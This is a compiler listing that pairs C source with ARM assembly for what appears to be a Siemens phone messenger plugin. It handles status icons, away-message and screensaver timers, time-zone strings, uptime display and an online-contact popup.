1152 #define EOP -10 1153 int CurrentStatus; 1154 #ifdef NEWSGOLD 1155 extern int CurrentXStatus; 1156 #else 1157 int CurrentXStatus; 1158 #endif 1159 1160 WSHDR *ews; 1161 1162 1163 static const char * const icons_names[TOTAL_ICONS]= 1164 { 1165 "offline.png", 1166 "invisible.png", 1167 "away.png", 1168 "na.png", 1169 "occupied.png", 1170 "dnd.png", 1171 "depression.png", 1172 "evil.png", 1173 "home.png", 1174 "lunch.png", 1175 "work.png", 1176 "online.png", 1177 "ffc.png", 1178 "message.png", 1179 "unknown.png", 1180 "groupon.png", 1181 "groupoff.png", 1182 "null.png", 1183 "addcont.png", 1184 "head.png", 1185 "logo.png", 1186 "ping.png", 1187 "settings.png", 1188 "vis1.png", 1189 "vis2.png", 1190 "vis3.png", 1191 "vis4.png", 1192 "vis5.png" 1193 }; 1194 1195 1196 1197 ////=================================away_msg============== 1198 //0080: 0xA0702CF5 ; 020: DrawScreenSaver 1199 #pragma swi_number=0x020 //by kluchnik 04.04.08 1200 __swi __arm int DrawScreenSaver(); 1201 1202 #ifdef NEWSGOLD 1203 #pragma swi_number=0x0C5 1204 __swi __arm int IsIdleUiOnTop();//На сг нет этой функции 1205 #else 1206 int IsIdleUiOnTop(void) 1207 { 1208 void *icsm=FindCSMbyID(CSM_root()->idle_id); 1209 if (IsGuiOnTop(((int*)icsm)[DISPLACE_OF_IDLEGUI_ID/4 ])) 1210 return(1); 1211 else 1212 return(0); 1213 } 1214 #endif 1215 1216 1217 //------------------------ SCREEN SAVER TIMER ---------------------------// 1218 1219 GBSTMR scrsTmr; 1220 int scrsTime; \ In segment CODE, align 4, keep-with-next 1221 void ScreenSaverTimer() 1222 { \ ScreenSaverTimer: \ 00000000 10402DE9 PUSH {R4,LR} 1223 if(scrsTime==screenSaverTime) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 7C0294E5 LDR R0,[R4, #+636] \ 0000000C 681194E5 LDR R1,[R4, #+360] \ 00000010 010050E1 CMP R0,R1 \ 00000014 0000001A BNE ??ScreenSaverTimer_0 1224 { 1225 DrawScreenSaver(); \ 00000018 200000EF SWI +32 1226 } 1227 1228 if(isScreenSaverEna) \ ??ScreenSaverTimer_0: \ 0000001C 6C0194E5 LDR R0,[R4, #+364] 1229 scrsTime++; 1230 GBS_StartTimerProc(&scrsTmr, 216*5, ScreenSaverTimer); \ 00000020 28209FE5 LDR R2,??ScreenSaverTimer_1 ;; ScreenSaverTimer \ 00000024 000050E3 CMP R0,#+0 \ 00000028 7C029415 LDRNE R0,[R4, #+636] \ 0000002C 3810A0E3 MOV R1,#+56 \ 00000030 01008012 ADDNE R0,R0,#+1 \ 00000034 7C028415 STRNE R0,[R4, #+636] \ 00000038 401E81E3 ORR R1,R1,#0x400 \ 0000003C CC00A0E3 MOV R0,#+204 \ 00000040 800D80E3 ORR R0,R0,#0x2000 \ 00000044 040080E0 ADD R0,R0,R4 \ 00000048 4D0000EF SWI +77 1231 } \ 0000004C 1080BDE8 POP {R4,PC} ;; return \ ??ScreenSaverTimer_1: \ 00000050 ........ DC32 ScreenSaverTimer 1232 1233 //-----------------------------------------------------------------------// 1234 1235 1236 int msg_away_timer=0;//Счетчик для автостатуса 1237 char away_msg[264];//Само сообщение для ответа 1238 char away_msg_time[64];//Время когда сработал таймер 1239 char away_msg_time_dace[16];//время отсутвтвия для вывода на идле 1240 //char *inp_away_msg2;//Текст сообщения,если будем писать сами(на долгую 6 или VOL_DOWN_BUTTON),а не брать из конфига 1241 char tim_zone[16]; \ In segment DATA_Z, align 4, align-sorted 1242 int timeh; \ timeh: \ 00000000 DS8 4 \ In segment DATA_Z, align 4, align-sorted 1243 int timemin; \ timemin: \ 00000000 DS8 4 1244 int away_m;//состояние автоответчика 1245 int status_rem;//Для сохранения текущего статуса 1246 int change_back_status;//вернуть предыдущий статус или нет 1247 GBSTMR away_tmr; 1248 1249 1250 int Show_XTX;//Показывать хстатус или время он лайн \ In segment CODE, align 4, keep-with-next 1251 void FreeXText2(CLIST *t) 1252 { \ FreeXText2: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 1253 if (t->xtext2) {mfree(t->xtext2);t->xtext2=NULL;} \ 00000008 A40094E5 LDR R0,[R4, #+164] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 1080BD08 POPEQ {R4,PC} \ 00000014 150000EF SWI +21 \ 00000018 0000A0E3 MOV R0,#+0 \ 0000001C A40084E5 STR R0,[R4, #+164] 1254 } \ 00000020 1080BDE8 POP {R4,PC} ;; return 1255 \ In segment CODE, align 4, keep-with-next 1256 void away_timer()//Таймер автостатуса 1257 { \ away_timer: \ 00000000 30402DE9 PUSH {R4,R5,LR} 1258 if(msg_away_timer==AUTO_ENGADE) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 08D04DE2 SUB SP,SP,#+8 \ 0000000C 800294E5 LDR R0,[R4, #+640] \ 00000010 141194E5 LDR R1,[R4, #+276] \ 00000014 010050E1 CMP R0,R1 \ 00000018 2000001A BNE ??away_timer_0 1259 { 1260 TTime tt; 1261 GetDateTime(NULL,&tt); 1262 sprintf(away_msg_time_dace, "%2d:%2d", tt.hour, tt.min); \ 0000001C B0509FE5 LDR R5,??away_timer_1 ;; `?` \ 0000000C 3400A0E3 MOV R0,#+52 \ 00000010 880D80E3 ORR R0,R0,#0x2200 \ 00000014 020080E0 ADD R0,R0,R2 \ 00000018 382192E5 LDR R2,[R2, #+312] \ 0000001C 200052E3 CMP R2,#+32 \ 00000020 0080BD88 POPHI {PC} \ 00000024 013F8FE2 ADR R3,??init_time_zone_0 \ 00000028 0230D3E7 LDRB R3,[R3, R2] \ 0000002C 03F18FE0 ADD PC,PC,R3, LSL #+2 \ ??init_time_zone_0: \ 00000030 080A0D10 DC8 +8,+10,+13,+16 \ 00000034 12141618 DC8 +18,+20,+22,+24 \ 00000038 1A1C1E20 DC8 +26,+28,+30,+32 \ 0000003C 22242628 DC8 +34,+36,+38,+40 \ 00000040 2A2C2E30 DC8 +42,+44,+46,+48 \ 00000044 32343638 DC8 +50,+52,+54,+56 \ 00000048 3A3C3E40 DC8 +58,+60,+62,+64 \ 0000004C 42444648 DC8 +66,+68,+70,+72 \ 00000050 4A000000 DC8 +74,+0,+0,+0 1284 { 1285 case 0: 1286 sprintf(tim_zone, "GMT -12:00"); \ ??init_time_zone_2: \ 00000054 601F81E2 ADD R1,R1,#+384 \ 00000058 030000EA B ??init_time_zone_3 1287 break; 1288 case 1: 1289 sprintf(tim_zone, "GMT -11:00"); \ ??init_time_zone_4: \ 0000005C 5D1F81E2 ADD R1,R1,#+372 \ 00000060 160000EF SWI +22 \ 00000064 0080BDE8 POP {PC} 1290 break; 1291 case 2: 1292 sprintf(tim_zone, "GMT -10:00"); \ ??init_time_zone_5: \ 00000068 5A1F81E2 ADD R1,R1,#+360 \ ??init_time_zone_3: \ 0000006C 160000EF SWI +22 \ 00000070 0080BDE8 POP {PC} 1293 break; 1294 case 3: 1295 sprintf(tim_zone, "GMT -09:00"); \ ??init_time_zone_6: \ 00000074 571F81E2 ADD R1,R1,#+348 \ 00000078 FBFFFFEA B ??init_time_zone_3 1296 break; 1297 case 4: 1298 sprintf(tim_zone, "GMT -08:00"); \ ??init_time_zone_7: \ 0000007C 541F81E2 ADD R1,R1,#+336 \ 00000080 F9FFFFEA B ??init_time_zone_3 1299 break; 1300 case 5: 1301 sprintf(tim_zone, "GMT -07:00"); \ ??init_time_zone_8: \ 00000084 511F81E2 ADD R1,R1,#+324 \ 00000088 F7FFFFEA B ??init_time_zone_3 1302 break; 1303 case 6: 1304 sprintf(tim_zone, "GMT -06:00"); \ ??init_time_zone_9: \ 0000008C 4E1F81E2 ADD R1,R1,#+312 \ 00000090 F5FFFFEA B ??init_time_zone_3 1305 break; 1306 case 7: 1307 sprintf(tim_zone, "GMT -05:00"); \ ??init_time_zone_10: \ 00000094 4B1F81E2 ADD R1,R1,#+300 \ 00000098 F3FFFFEA B ??init_time_zone_3 1308 break; 1309 case 8: 1310 sprintf(tim_zone, "GMT -04:00"); \ ??init_time_zone_11: \ 0000009C 481F81E2 ADD R1,R1,#+288 \ 000000A0 F1FFFFEA B ??init_time_zone_3 1311 break; 1312 case 9: 1313 sprintf(tim_zone, "GMT -03:30"); \ ??init_time_zone_12: \ 000000A4 451F81E2 ADD R1,R1,#+276 \ 000000A8 EFFFFFEA B ??init_time_zone_3 1314 break; 1315 case 10: 1316 sprintf(tim_zone, "GMT -03:00"); \ ??init_time_zone_13: \ 000000AC 421F81E2 ADD R1,R1,#+264 \ 000000B0 EDFFFFEA B ??init_time_zone_3 1317 break; 1318 case 11: 1319 sprintf(tim_zone, "GMT -02:00"); \ ??init_time_zone_14: \ 000000B4 FC1081E2 ADD R1,R1,#+252 \ 000000B8 EBFFFFEA B ??init_time_zone_3 1320 break; 1321 case 12: 1322 sprintf(tim_zone, "GMT -01:00"); \ ??init_time_zone_15: \ 000000BC F01081E2 ADD R1,R1,#+240 \ 000000C0 E9FFFFEA B ??init_time_zone_3 1323 break; 1324 case 13: 1325 sprintf(tim_zone, "GMT 00:00"); \ ??init_time_zone_16: \ 000000C4 E41081E2 ADD R1,R1,#+228 \ 000000C8 E7FFFFEA B ??init_time_zone_3 1326 break; 1327 case 14: 1328 sprintf(tim_zone, "GMT +01:00"); \ ??init_time_zone_17: \ 000000CC D81081E2 ADD R1,R1,#+216 \ 000000D0 E5FFFFEA B ??init_time_zone_3 1329 break; 1330 case 15: 1331 sprintf(tim_zone, "GMT +02:00"); \ ??init_time_zone_18: \ 000000D4 CC1081E2 ADD R1,R1,#+204 \ 000000D8 E3FFFFEA B ??init_time_zone_3 1332 break; 1333 case 16: 1334 sprintf(tim_zone, "GMT +03:00"); \ ??init_time_zone_19: \ 000000DC C01081E2 ADD R1,R1,#+192 \ 000000E0 E1FFFFEA B ??init_time_zone_3 1335 break; 1336 case 17: 1337 sprintf(tim_zone, "GMT +03:30"); \ ??init_time_zone_20: \ 000000E4 B41081E2 ADD R1,R1,#+180 \ 000000E8 DFFFFFEA B ??init_time_zone_3 1338 break; 1339 case 18: 1340 sprintf(tim_zone, "GMT +04:00"); \ ??init_time_zone_21: \ 000000EC A81081E2 ADD R1,R1,#+168 \ 000000F0 DDFFFFEA B ??init_time_zone_3 1341 break; 1342 case 19: 1343 sprintf(tim_zone, "GMT +04:30"); \ ??init_time_zone_22: \ 000000F4 9C1081E2 ADD R1,R1,#+156 \ 000000F8 DBFFFFEA B ??init_time_zone_3 1344 break; 1345 case 20: 1346 sprintf(tim_zone, "GMT +05:00"); \ ??init_time_zone_23: \ 000000FC 901081E2 ADD R1,R1,#+144 \ 00000100 D9FFFFEA B ??init_time_zone_3 1347 break; 1348 case 21: 1349 sprintf(tim_zone, "GMT +05:30"); \ ??init_time_zone_24: \ 00000104 841081E2 ADD R1,R1,#+132 \ 00000108 D7FFFFEA B ??init_time_zone_3 1350 break; 1351 case 22: 1352 sprintf(tim_zone, "GMT +05:45"); \ ??init_time_zone_25: \ 0000010C 781081E2 ADD R1,R1,#+120 \ 00000110 D5FFFFEA B ??init_time_zone_3 1353 break; 1354 case 23: 1355 sprintf(tim_zone, "GMT +06:00"); \ ??init_time_zone_26: \ 00000114 6C1081E2 ADD R1,R1,#+108 \ 00000118 D3FFFFEA B ??init_time_zone_3 1356 break; 1357 case 24: 1358 sprintf(tim_zone, "GMT +06:30"); \ ??init_time_zone_27: \ 0000011C 601081E2 ADD R1,R1,#+96 \ 00000120 D1FFFFEA B ??init_time_zone_3 1359 break; 1360 case 25: 1361 sprintf(tim_zone, "GMT +07:00"); \ ??init_time_zone_28: \ 00000124 541081E2 ADD R1,R1,#+84 \ 00000128 CFFFFFEA B ??init_time_zone_3 1362 break; 1363 case 26: 1364 sprintf(tim_zone, "GMT +08:00"); \ ??init_time_zone_29: \ 0000012C 481081E2 ADD R1,R1,#+72 \ 00000130 CDFFFFEA B ??init_time_zone_3 1365 break; 1366 case 27: 1367 sprintf(tim_zone, "GMT +09:00"); \ ??init_time_zone_30: \ 00000134 3C1081E2 ADD R1,R1,#+60 \ 00000138 CBFFFFEA B ??init_time_zone_3 1368 break; 1369 case 28: 1370 sprintf(tim_zone, "GMT +09:30"); \ ??init_time_zone_31: \ 0000013C 301081E2 ADD R1,R1,#+48 \ 00000140 C9FFFFEA B ??init_time_zone_3 1371 break; 1372 case 29: 1373 sprintf(tim_zone, "GMT +10:00"); \ ??init_time_zone_32: \ 00000144 241081E2 ADD R1,R1,#+36 \ 00000148 C7FFFFEA B ??init_time_zone_3 1374 break; 1375 case 30: 1376 sprintf(tim_zone, "GMT +11:00"); \ ??init_time_zone_33: \ 0000014C 181081E2 ADD R1,R1,#+24 \ 00000150 C5FFFFEA B ??init_time_zone_3 1377 break; 1378 case 31: 1379 sprintf(tim_zone, "GMT +12:00"); \ ??init_time_zone_34: \ 00000154 0C1081E2 ADD R1,R1,#+12 \ 00000158 C3FFFFEA B ??init_time_zone_3 1380 break; 1381 case 32: 1382 sprintf(tim_zone, "GMT +13:00"); \ ??init_time_zone_35: \ 0000015C 160000EF SWI +22 1383 break; 1384 } 1385 } \ ??init_time_zone_36: \ 00000160 0080BDE8 POP {PC} ;; return \ ??init_time_zone_1: \ 00000164 ........ DC32 `?` 1386 1387 //=================================away_msg=============== 1388 //////////////////////////////////////////tozhe dlja auto ping/////////////// 1389 \ In segment CODE, align 4, keep-with-next 1390 void DrawPing(void *canv) 1391 { 1392 PrintField(Ping_X,Ping_Y, PINGO, align, fonto, spaco1); \ DrawPing: \ 00000000 ........ LDR R0,??DataTable19 ;; S_ICONS \ 00000004 00402DE9 PUSH {LR} \ 00000008 0C1190E5 LDR R1,[R0, #+268] \ 0000000C 02002DE9 PUSH {R1} \ 00000010 081190E5 LDR R1,[R0, #+264] \ 00000014 02002DE9 PUSH {R1} \ 00000018 303290E5 LDR R3,[R0, #+560] \ 0000001C CC10A0E3 MOV R1,#+204 \ 00000020 7C1D81E3 ORR R1,R1,#0x1F00 \ 00000024 002081E0 ADD R2,R1,R0 \ 00000028 E01090E5 LDR R1,[R0, #+224] \ 0000002C DC0090E5 LDR R0,[R0, #+220] \ 00000030 ........ _BLF PrintField,??PrintField??rA 1393 } \ 00000034 0380BDE8 POP {R0,R1,PC} ;; return 1394 1395 //////////////////////////////////////////tozhe dlja auto ping/////////////// 1396 1397 GBSTMR mytmr; 1398 GBSTMR mytmr2; 1399 volatile int vibra_count; 1400 #ifdef ELKA 1401 void SLI_Off(void); 1402 #endif 1403 void start_vibra2(void); 1404 1405 //////////////////////////reminder timer///////////////////////// 1406 \ In segment CODE, align 4, keep-with-next 1407 void Remind_Timer2() 1408 { \ Remind_Timer2: \ 00000000 10402DE9 PUSH {R4,LR} 1409 if (total_unread) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 0C0394E5 LDR R0,[R4, #+780] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 1080BD08 POPEQ {R4,PC} 1410 { 1411 vibra_count=Vibra_cc; \ 00000014 D80094E5 LDR R0,[R4, #+216] \ 00000018 D00284E5 STR R0,[R4, #+720] 1412 start_vibra2(); \ 0000001C ........ BL start_vibra2 1413 GBS_StartTimerProc(&mytmr2, 6480, Remind_Timer2); \ 00000020 ........ LDR R2,??DataTable11 ;; Remind_Timer2 \ 00000024 5010A0E3 MOV R1,#+80 \ 00000028 641D81E3 ORR R1,R1,#0x1900 \ 0000002C 6400A0E3 MOV R0,#+100 \ 00000030 880D80E3 ORR R0,R0,#0x2200 \ 00000034 040080E0 ADD R0,R0,R4 \ 00000038 4D0000EF SWI +77 1414 } 1415 } \ 0000003C 1080BDE8 POP {R4,PC} ;; return 1416 \ In segment CODE, align 4, keep-with-next 1417 void Reminder_timer() 1418 { 1419 GBS_StartTimerProc(&mytmr2, 6480, Remind_Timer2); \ Reminder_timer: \ 00000000 ........ LDR R2,??DataTable11 ;; Remind_Timer2 \ 00000004 10009FE5 LDR R0,??Reminder_timer_0 ;; S_ICONS + 8804 \ 00000008 00402DE9 PUSH {LR} \ 0000000C 5010A0E3 MOV R1,#+80 \ 00000010 641D81E3 ORR R1,R1,#0x1900 \ 00000014 4D0000EF SWI +77 1420 } \ 00000018 0080BDE8 POP {PC} ;; return \ ??Reminder_timer_0: \ 0000001C ........ DC32 S_ICONS + 8804 1421 //////////////////////////reminder timer///////////////////////// 1422 1423 //////////////////////////uptime////////////////////////// 1424 int Is_UPTIME_On; 1425 //int xstatus_old; 1426 int uptimeHour; 1427 //int minimum_xstatus; 1428 int uptimeMin; 1429 //int maximum; 1430 int uptimeSec; 1431 \ In segment CODE, align 4, keep-with-next 1432 void UptimeMinHour() 1433 { 1434 uptimeSec++; \ UptimeMinHour: \ 00000000 ........ LDR R0,??DataTable19 ;; S_ICONS \ 00000004 A01290E5 LDR R1,[R0, #+672] 1435 if(uptimeSec==60) \ 00000008 9C2290E5 LDR R2,[R0, #+668] \ 0000000C 011081E2 ADD R1,R1,#+1 \ 00000010 3C0051E3 CMP R1,#+60 1436 { 1437 // if(saver_on) reftes(); 1438 uptimeSec=0; \ 00000014 0010A003 MOVEQ R1,#+0 1439 uptimeMin++; \ 00000018 01208202 ADDEQ R2,R2,#+1 \ 0000001C A01280E5 STR R1,[R0, #+672] 1440 } 1441 if(uptimeMin==60) \ 00000020 3C0052E3 CMP R2,#+60 \ 00000024 0300001A BNE ??UptimeMinHour_0 1442 { 1443 uptimeMin=0; 1444 uptimeHour++; \ 00000028 981290E5 LDR R1,[R0, #+664] \ 0000002C 0020A0E3 MOV R2,#+0 \ 00000030 011081E2 ADD R1,R1,#+1 \ 00000034 981280E5 STR R1,[R0, #+664] \ ??UptimeMinHour_0: \ 00000038 9C2280E5 STR R2,[R0, #+668] 1445 } 1446 } \ 0000003C 1EFF2FE1 BX LR ;; return 1447 1448 GBSTMR mytmr4; 1449 #ifdef NEWSGOLD 1450 GBSTMR tracktmr; 1451 int tracktimer; 1452 #endif 1453 \ In segment CODE, align 4, keep-with-next 1454 void upTime() 1455 { \ upTime: \ 00000000 F0402DE9 PUSH {R4-R7,LR} 1456 if(connect_state==3) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 80609FE5 LDR R6,??upTime_0 ;; upTime \ 0000000C 7400A0E3 MOV R0,#+116 \ 00000010 880D80E3 ORR R0,R0,#0x2200 \ 00000014 045080E0 ADD R5,R0,R4 \ 00000018 E80294E5 LDR R0,[R4, #+744] \ 0000001C 0070A0E3 MOV R7,#+0 \ 00000020 030050E3 CMP R0,#+3 \ 00000024 0F00001A BNE ??upTime_1 1457 { 1458 UptimeMinHour(); \ 00000028 ........ BL UptimeMinHour 1459 #ifdef NEWSGOLD 1460 if (tracktimer>=10)/*&&(_GetPlayStatus()!=1))*/ \ 0000002C A40294E5 LDR R0,[R4, #+676] \ 00000030 0A0050E3 CMP R0,#+10 \ 00000034 070000BA BLT ??upTime_2 1461 { 1462 GBS_StartTimerProc(&tracktmr, 216*5, GetTags); \ 00000038 ........ LDR R2,??DataTable14 ;; GetTags \ 0000003C 3810A0E3 MOV R1,#+56 \ 00000040 401E81E3 ORR R1,R1,#0x400 \ 00000044 8400A0E3 MOV R0,#+132 \ 00000048 880D80E3 ORR R0,R0,#0x2200 \ 0000004C 040080E0 ADD R0,R0,R4 \ 00000050 4D0000EF SWI +77 1463 tracktimer=0; \ 00000054 A47284E5 STR R7,[R4, #+676] 1464 } 1465 tracktimer++; \ ??upTime_2: \ 00000058 A40294E5 LDR R0,[R4, #+676] \ 0000005C 010080E2 ADD R0,R0,#+1 \ 00000060 A40284E5 STR R0,[R4, #+676] 1466 #endif 1467 GBS_StartTimerProc(&mytmr4, 216, upTime); \ 00000064 040000EA B ??upTime_3 1468 } 1469 else 1470 { 1471 if(!Pause_Time) \ ??upTime_1: \ 00000068 1C0194E5 LDR R0,[R4, #+284] \ 0000006C 000050E3 CMP R0,#+0 1472 { 1473 uptimeHour=0; \ 00000070 98728405 STREQ R7,[R4, #+664] 1474 uptimeMin=0; \ 00000074 9C728405 STREQ R7,[R4, #+668] 1475 uptimeSec=0; \ 00000078 A0728405 STREQ R7,[R4, #+672] 1476 } 1477 GBS_StartTimerProc(&mytmr4, 216, upTime); \ ??upTime_3: \ 0000007C 0620A0E1 MOV R2,R6 \ 00000080 D810A0E3 MOV R1,#+216 \ 00000084 0500A0E1 MOV R0,R5 \ 00000088 4D0000EF SWI +77 1478 } 1479 } \ 0000008C F080BDE8 POP {R4-R7,PC} ;; return \ ??upTime_0: \ 00000090 ........ DC32 upTime 1480 1481 char onlineTime[128]; \ In segment CODE, align 4, keep-with-next 1482 void DrawOnlineTime(void *canv) 1483 { \ DrawOnlineTime: \ 00000000 30402DE9 PUSH {R4,R5,LR} 1484 if(connect_state==3) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 9400A0E3 MOV R0,#+148 \ 0000000C E81294E5 LDR R1,[R4, #+744] \ 00000010 880D80E3 ORR R0,R0,#0x2200 \ 00000014 045080E0 ADD R5,R0,R4 \ 00000018 ........ LDR R0,??DataTable16 ;; `?` \ 0000001C 030051E3 CMP R1,#+3 \ 00000020 0800001A BNE ??DrawOnlineTime_0 1485 { 1486 sprintf(onlineTime,"Online: %02d:%02d:%02d", uptimeHour, uptimeMin, uptimeSec); \ 00000024 A01294E5 LDR R1,[R4, #+672] \ 00000028 02002DE9 PUSH {R1} \ 0000002C 9C3294E5 LDR R3,[R4, #+668] \ 00000030 982294E5 LDR R2,[R4, #+664] \ 00000034 EC1F80E2 ADD R1,R0,#+944 \ 00000038 0500A0E1 MOV R0,R5 \ 0000003C 160000EF SWI +22 \ 00000040 04D08DE2 ADD SP,SP,#+4 \ 00000044 020000EA B ??DrawOnlineTime_1 1487 } 1488 else 1489 sprintf(onlineTime,"Offline"); \ ??DrawOnlineTime_0: \ 00000048 EA1F80E2 ADD R1,R0,#+936 \ 0000004C 0500A0E1 MOV R0,R5 \ 00000050 160000EF SWI +22 1490 PrintField(onlineTime_x,onlineTime_y, onlineTime, align, fonto, spaco1); \ ??DrawOnlineTime_1: \ 00000054 0C0194E5 LDR R0,[R4, #+268] \ 00000058 0520A0E1 MOV R2,R5 \ 0000005C 01002DE9 PUSH {R0} \ 00000060 080194E5 LDR R0,[R4, #+264] \ 00000064 01002DE9 PUSH {R0} \ 00000068 303294E5 LDR R3,[R4, #+560] \ 0000006C 301194E5 LDR R1,[R4, #+304] \ 00000070 2C0194E5 LDR R0,[R4, #+300] \ 00000074 ........ _BLF PrintField,??PrintField??rA 1491 } \ 00000078 3380BDE8 POP {R0,R1,R4,R5,PC} ;; return 1492 1493 1494 //------------- Попап месаже для подключившегося контакта -----------// 1495 1496 char onContact[64]; 1497 int INC_show2; 1498 GBSTMR incs2; 1499 #ifdef ELKA 1500 int font =9; 1501 #else 1502 int font= 7; 1503 #endif 1504 \ In segment CODE, align 4, keep-with-next 1505 void show_on_contact() 1506 { \ show_on_contact: \ 00000000 F0412DE9 PUSH {R4-R8,LR} 1507 if(INC_show2>0) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 08D04DE2 SUB SP,SP,#+8 \ 0000000C A80294E5 LDR R0,[R4, #+680] \ 00000010 010050E3 CMP R0,#+1 \ 00000014 500000BA BLT ??show_on_contact_0 1508 { 1509 WSHDR *ws=AllocWS(64); \ 00000018 4000A0E3 MOV R0,#+64 \ 0000001C 250100EF SWI +293 \ 00000020 0050A0E1 MOV R5,R0 1510 /* wsprintf(ws, onContact); 1511 DrawString(ws,2,2,2+Get_WS_width(ws,font)+2,2+GetFontYSIZE(font),font,0,GetPaletteAdrByColorIndex(4),GetPaletteAdrByColorIndex(1)); 1512 FreeWS(ws); 1513 INC_show2--; 1514 GBS_StartTimerProc(&incs2, 5, show_on_contact);*/ 1515 ascii2ws(ws,onContact); \ 00000024 1400A0E3 MOV R0,#+20 \ 00000028 8C0D80E3 ORR R0,R0,#0x2300 \ 0000002C 041080E0 ADD R1,R0,R4 \ 00000030 0500A0E1 MOV R0,R5 \ 00000034 ........ _BLF ascii2ws,??ascii2ws??rA 1516 int csm_oncreate_addr = ((int*)(((CSM_RAM*)(CSM_root()->csm_q->csm.last))->constr))[1] - 1; \ 00000038 068100EF SWI +33030 \ 0000003C 080090E5 LDR R0,[R0, #+8] 1517 char java_oncreate_pattern[8] = {0xB0, 0xB5, 0x04, 0x1C, 0x00, 0x25, 0x05, 0x61}; \ 00000040 1C219FE5 LDR R2,??show_on_contact_1 ;; `?_1` \ 00000044 0C0090E5 LDR R0,[R0, #+12] \ 00000048 480092E8 LDM R2,{R3,R6} \ 0000004C 080090E5 LDR R0,[R0, #+8] \ 00000050 0D10A0E1 MOV R1,SP \ 00000054 040090E5 LDR R0,[R0, #+4] \ 00000058 480081E8 STM R1,{R3,R6} \ 0000005C 010040E2 SUB R0,R0,#+1 1518 if(!(memcmp((void*)csm_oncreate_addr, java_oncreate_pattern, 8))) \ 00000060 0820A0E3 MOV R2,#+8 \ 00000064 1C0100EF SWI +284 \ 00000068 000050E3 CMP R0,#+0 \ 0000006C 0000001A BNE ??show_on_contact_2 1519 { 1520 extern void DrawScreenShot(); 1521 DrawScreenShot(); \ 00000070 ........ _BLF DrawScreenShot,??DrawScreenShot??rA 1522 } 1523 DrawRectangle(0,0,Get_WS_width(ws,font)+2,GetFontYSIZE(font)+2,0,GetPaletteAdrByColorIndex(1),GetPaletteAdrByColorIndex(1)); \ ??show_on_contact_2: \ 00000074 0100A0E3 MOV R0,#+1 \ 00000078 2E0100EF SWI +302 \ 0000007C 0060A0E1 MOV R6,R0 \ 00000080 0100A0E3 MOV R0,#+1 \ 00000084 2E0100EF SWI +302 \ 00000088 0070A0E1 MOV R7,R0 \ 0000008C AC0294E5 LDR R0,[R4, #+684] \ 00000090 C50100EF SWI +453 \ 00000094 AC1294E5 LDR R1,[R4, #+684] \ 00000098 0080A0E1 MOV R8,R0 \ 0000009C 0500A0E1 MOV R0,R5 \ 000000A0 080200EF SWI +520 \ 000000A4 40002DE9 PUSH {R6} \ 000000A8 80002DE9 PUSH {R7} \ 000000AC 0010A0E3 MOV R1,#+0 \ 000000B0 02002DE9 PUSH {R1} \ 000000B4 023088E2 ADD R3,R8,#+2 \ 000000B8 022080E2 ADD R2,R0,#+2 \ 000000BC 0000A0E3 MOV R0,#+0 \ 000000C0 B40100EF SWI +436 1524 DrawString(ws,1,1,1+Get_WS_width(ws,font)+2,1+GetFontYSIZE(font),font,0,GetPaletteAdrByColorIndex(4),GetPaletteAdrByColorIndex(23)); \ 000000C4 1700A0E3 MOV R0,#+23 \ 000000C8 2E0100EF SWI +302 \ 000000CC 0060A0E1 MOV R6,R0 \ 000000D0 0400A0E3 MOV R0,#+4 \ 000000D4 2E0100EF SWI +302 \ 000000D8 0070A0E1 MOV R7,R0 \ 000000DC AC0294E5 LDR R0,[R4, #+684] \ 000000E0 C50100EF SWI +453 \ 000000E4 AC1294E5 LDR R1,[R4, #+684] \ 000000E8 0080A0E1 MOV R8,R0 \ 000000EC 0500A0E1 MOV R0,R5 \ 000000F0 080200EF SWI +520 \ 000000F4 40002DE9 PUSH {R6} \ 000000F8 80002DE9 PUSH {R7} \ 000000FC 0010A0E3 MOV R1,#+0 \ 00000100 02002DE9 PUSH {R1} \ 00000104 AC1294E5 LDR R1,[R4, #+684] \ 00000108 033080E2 ADD R3,R0,#+3 \ 0000010C 02002DE9 PUSH {R1} \ 00000110 0120A0E3 MOV R2,#+1 \ 00000114 0500A0E1 MOV R0,R5 \ 00000118 011088E2 ADD R1,R8,#+1 \ 0000011C 02002DE9 PUSH {R1} \ 00000120 0210A0E1 MOV R1,R2 \ 00000124 4C0100EF SWI +332 1525 FreeWS(ws); \ 00000128 0500A0E1 MOV R0,R5 \ 0000012C 290100EF SWI +297 1526 INC_show2--; \ 00000130 A80294E5 LDR R0,[R4, #+680] 1527 GBS_StartTimerProc(&incs2, 15, show_on_contact); \ 00000134 2C209FE5 LDR R2,??show_on_contact_1+0x4 ;; show_on_contact \ 00000138 010040E2 SUB R0,R0,#+1 \ 0000013C A80284E5 STR R0,[R4, #+680] \ 00000140 0F10A0E3 MOV R1,#+15 \ 00000144 5400A0E3 MOV R0,#+84 \ 00000148 8C0D80E3 ORR R0,R0,#0x2300 \ 0000014C 040080E0 ADD R0,R0,R4 \ 00000150 4D0000EF SWI +77 \ 00000154 20D08DE2 ADD SP,SP,#+32 \ 00000158 F381BDE8 POP {R0,R1,R4-R8,PC} 1528 } 1529 else 1530 RefreshGUI(); \ ??show_on_contact_0: \ 0000015C 960100EF SWI +406 1531 } \ 00000160 F381BDE8 POP {R0,R1,R4-R8,PC} ;; return \ ??show_on_contact_1: \ 00000164 ........ DC32 `?_1` \ 00000168 ........ DC32 show_on_contact 1532 1533 1534 //---------------------- Вывод времени на идле ---------------------// 1535 1536 \ In segment CODE, align 4, keep-with-next 1537 void DrawAutoMSG(void *canv) 1538 { \ DrawAutoMSG: \ 00000000 10402DE9 PUSH {R4,LR} 1539 char awayTime[64]; 1540 if(away_m && showAwayIdle) \ 00000004 ........ LDR R4,??DataTable19 ;; S_ICONS \ 00000008 40D04DE2 SUB SP,SP,#+64 \ 0000000C 840294E5 LDR R0,[R4, #+644] \ 00000010 000050E3 CMP R0,#+0 \ 00000014 28019415 LDRNE R0,[R4, #+296] \ 00000018 00005013 CMPNE R0,#+0 \ 0000001C 0F00000A BEQ ??DrawAutoMSG_0 1541 { 1542 sprintf(awayTime,"Away from [%s]",away_msg_time_dace); \ 00000020 40109FE5 LDR R1,??DrawAutoMSG_1 